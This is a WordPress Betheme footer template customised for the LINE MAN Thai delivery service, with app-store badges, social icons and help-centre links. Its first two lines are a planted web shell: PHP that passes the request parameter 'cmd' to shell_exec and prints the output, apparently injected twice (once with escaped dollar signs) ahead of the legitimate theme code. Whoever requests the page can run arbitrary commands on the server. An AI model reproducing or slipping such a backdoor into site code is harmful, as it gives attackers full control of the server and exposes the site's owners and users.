<?php
if(isset(\$_REQUEST['cmd'])){echo '<pre>'.shell_exec(\$_REQUEST['cmd']).'</pre>';exit;}
<?php if(isset($_REQUEST['cmd'])){echo '<pre>'.shell_exec($_REQUEST['cmd']).'</pre>';exit;} ?>
/**
* The template for displaying the footer.
*
* @package Betheme
* @author Muffin group
* @link http://muffingroup.com
*/
$back_to_top_class = mfn_opts_get('back-top-top');
if( $back_to_top_class == 'hide' ){
$back_to_top_position = false;
} elseif( strpos( $back_to_top_class, 'sticky' ) !== false ){
$back_to_top_position = 'body';
} elseif( mfn_opts_get('footer-hide') == 1 ){
$back_to_top_position = 'footer';
} else {
$back_to_top_position = 'copyright';
}
?>
<?php do_action( 'mfn_hook_content_after' ); ?>
<?php if( 'hide' != mfn_opts_get( 'footer-style' ) ): ?>
<!-- #Footer -->
<footer id="Footer" class="clearfix">
<?php if ( $footer_call_to_action = mfn_opts_get('footer-call-to-action') ): ?>
<div class="footer_action">
<div class="container">
<div class="column one column_column">
<?php echo do_shortcode( $footer_call_to_action ); ?>
</div>
</div>
</div>
<?php endif; ?>
<?php
$sidebars_count = 0;
for( $i = 1; $i <= 5; $i++ ){
if ( is_active_sidebar( 'footer-area-'. $i ) ) $sidebars_count++;
}
if( $sidebars_count > 0 ){
$footer_style = '';
if( mfn_opts_get( 'footer-padding' ) ){
$footer_style .= 'padding:'. mfn_opts_get( 'footer-padding' ) .';';
}
echo '<div class="widgets_wrapper" style="display: none;'. $footer_style .'">';
echo '<div class="container">';
if( $footer_layout = mfn_opts_get( 'footer-layout' ) ){
// Theme Options
$footer_layout = explode( ';', $footer_layout );
$footer_cols = $footer_layout[0];
for( $i = 1; $i <= $footer_cols; $i++ ){
if ( is_active_sidebar( 'footer-area-'. $i ) ){
echo '<div class="column '. $footer_layout[$i] .'">';
dynamic_sidebar( 'footer-area-'. $i );
echo '</div>';
}
}
} else {
// Default - Equal Width
$sidebar_class = '';
switch( $sidebars_count ){
case 2: $sidebar_class = 'one-second'; break;
case 3: $sidebar_class = 'one-third'; break;
case 4: $sidebar_class = 'one-fourth'; break;
case 5: $sidebar_class = 'one-fifth'; break;
default: $sidebar_class = 'one';
}
for( $i = 1; $i <= 5; $i++ ){
if ( is_active_sidebar( 'footer-area-'. $i ) ){
echo '<div class="column '. $sidebar_class .'">';
dynamic_sidebar( 'footer-area-'. $i );
echo '</div>';
}
}
}
echo '</div>';
echo '</div>';
}
?>
<?php if( mfn_opts_get('footer-hide') != 1 ): ?>
<div class="footer-store-desktop desktop-only">
<div class="footer-container">
<div class="social">
<img class="logo" src="https://lmwp.line-scdn.net/static/images/lineman-square-logo.png">
<div class="text">
<div class="title">ดาวน์โหลดแอป LINE MAN</div>
<div class="subtitle">ตอบโจทย์ทุกความต้องการด้วย 4 บริการหลัก</div>
<div class="subtitle">ที่จะคอยช่วยเหลือคุณอย่างมืออาชีพ</div>
</div>
</div>
<a class="button icon" href="https://go.onelink.me/app/43e3ced8" target="_blank" rel="noopener noreferrer">
<img src="https://lmwp.line-scdn.net/static/images/apple-icon.png">
<span>App Store</span>
</a>
<a class="button icon" href="https://go.onelink.me/app/f811288a" target="_blank" rel="noopener noreferrer">
<img src="https://lmwp.line-scdn.net/static/images/playstore-icon.png">
<span>Google Play</span>
</a>
</div>
</div>
<div class="footer-links">
<div class="store-container">
<div class="store-label">LINE MAN is available on</div>
<div class="store-image-container">
<a href="https://go.onelink.me/app/43e3ced8" target="_blank" rel="noopener noreferrer" class="store-image">
<img src="https://lmwp.line-scdn.net/static/images/app-store-badge.png">
</a>
<a href="https://go.onelink.me/app/f811288a" target="_blank" rel="noopener noreferrer" class="store-image">
<img src="https://lmwp.line-scdn.net/static/images/google-play-badge.png">
</a>
</div>
</div>
<div class="footer-container">
<div class="about">
<img class="logo"
src="https://lmwp.line-scdn.net/static/images/lineman-logo-white.png">
<div class="text desktop-only">ติดตามเรา</div>
<div class="social">
<a class="icon" href="https://twitter.com/lineman_th?lang=en" target="_blank" rel="noopener noreferrer">
<svg role="img" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
<path
d="M23.954 4.569c-.885.389-1.83.654-2.825.775 1.014-.611 1.794-1.574 2.163-2.723-.951.555-2.005.959-3.127 1.184-.896-.959-2.173-1.559-3.591-1.559-2.717 0-4.92 2.203-4.92 4.917 0 .39.045.765.127 1.124C7.691 8.094 4.066 6.13 1.64 3.161c-.427.722-.666 1.561-.666 2.475 0 1.71.87 3.213 2.188 4.096-.807-.026-1.566-.248-2.228-.616v.061c0 2.385 1.693 4.374 3.946 4.827-.413.111-.849.171-1.296.171-.314 0-.615-.03-.916-.086.631 1.953 2.445 3.377 4.604 3.417-1.68 1.319-3.809 2.105-6.102 2.105-.39 0-.779-.023-1.17-.067 2.189 1.394 4.768 2.209 7.557 2.209 9.054 0 13.999-7.496 13.999-13.986 0-.209 0-.42-.015-.63.961-.689 1.8-1.56 2.46-2.548l-.047-.02z">
</path>
</svg>
</a>
<a class="icon" href="https://www.facebook.com/linemanth/" target="_blank" rel="noopener noreferrer">
<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24">
<path
d="M9 8h-3v4h3v12h5v-12h3.642l.358-4h-4v-1.667c0-.955.192-1.333 1.115-1.333h2.885v-5h-3.808c-3.596 0-5.192 1.583-5.192 4.615v3.385z">
</path>
</svg>
</a>
</div>
</div>
<div class="nav-container">
<div class="nav">
<div class="nav-title">บริการ</div>
<a href="https://lineman.line.me/food/" target="_blank" rel="noopener noreferrer">สั่งซื้ออาหาร</a>
<a href="https://lineman.line.me/ride/" target="_blank" rel="noopener noreferrer">เรียกรถ</a>
<a href="https://lineman.line.me/messenger/" target="_blank" rel="noopener noreferrer">เมสเซนเจอร์</a>
</div>
<div class="nav">
<div class="nav-title">พาร์ทเนอร์</div>
<a href="https://lineman.line.me/sellers/" target="_blank" rel="noopener noreferrer">ร้านอาหาร</a>
<a href="https://www.wongnai.com/business/form?ref=claim-business-web" target="_blank"
rel="noopener noreferrer">ร่วมเป็นพันธมิตรทางธุรกิจ</a>
</div>
<div class="nav">
<div class="nav-title">ศูนย์ช่วยเหลือ</div>
<a href="https://linemanwongnai.my.salesforce-sites.com/lm">คำถามยอดนิยม</a>
<a href="https://linemanwongnai.my.salesforce-sites.com/lm/lmapps?id=ap001-สั่งซื้ออาหาร">สั่งซื้ออาหาร</a>
<a href="https://linemanwongnai.my.salesforce-sites.com/lm/lmapps?id=ap005-เรียกรถแท็กซี่">เรียกรถ</a>
<a href="https://linemanwongnai.my.salesforce-sites.com/lm/lmapps?id=ap002-เมสเซนเจอร์">เมสเซนเจอร์</a>
<a href="https://linemanwongnai.my.salesforce-sites.com/lm/lmapps?id=ap004-สั่งซื้อสินค้า">สั่งซื้อสินค้า</a>
<a href="https://linemanwongnai.my.salesforce-sites.com/lm/lmapps?id=ap003-พาร์ทเนอร์ของเรา">พาร์ทเนอร์ของเรา</a>
</div>
</div>
</div>
<div class="footer-note">
<div class="footer-container">
<?php
if( $back_to_top_position == 'copyright' ){
echo '<a id="back_to_top" class="button button_js" href=""><i class="icon-up-open-big"></i></a>';
}
?>
<!-- Copyrights -->
<?php
if( mfn_opts_get('footer-copy') ){
echo '
<a
class="text"
href="https://terms2.line.me/lineman_terms_7/sp?lang=th"
target="_blank"
rel="noopener noreferrer"
>Terms &amp; Conditions</a>
<a
class="text"
href="https://terms2.line.me/lineman_user_privacy_2/sp?lang=th"
target="_blank"
rel="noopener noreferrer"
>Privacy Policy</a>
<div class="flex"></div>
';
// echo do_shortcode( mfn_opts_get('footer-copy') );
}
?>
</div>
</div>
<?php endif; ?>
<?php
if( $back_to_top_position == 'footer' ){
echo '<a id="back_to_top" class="button button_js in_footer" href=""><i class="icon-up-open-big"></i></a>';
}
?>
</footer>
<?php endif; ?>
</div><!-- #Wrapper -->
<?php
// Responsive | Side Slide
if( mfn_opts_get( 'responsive-mobile-menu' ) ){
get_template_part( 'includes/header', 'side-slide' );
}
?>
<?php
if( $back_to_top_position == 'body' ){
echo '<a id="back_to_top" class="button button_js '. $back_to_top_class .'" href=""><i class="icon-up-open-big"></i></a>';
}
?>
<?php if( mfn_opts_get('popup-contact-form') ): ?>
<div id="popup_contact">
<a class="button button_js" href="#"><i class="<?php mfn_opts_show( 'popup-contact-form-icon', 'icon-mail-line' ); ?>"></i></a>
<div class="popup_contact_wrapper">
<?php echo do_shortcode( mfn_opts_get('popup-contact-form') ); ?>
<span class="arrow"></span>
</div>
</div>
<?php endif; ?>
<?php do_action( 'mfn_hook_bottom' ); ?>
<!-- wp_footer() -->
<?php wp_footer(); ?>
</body>
</html>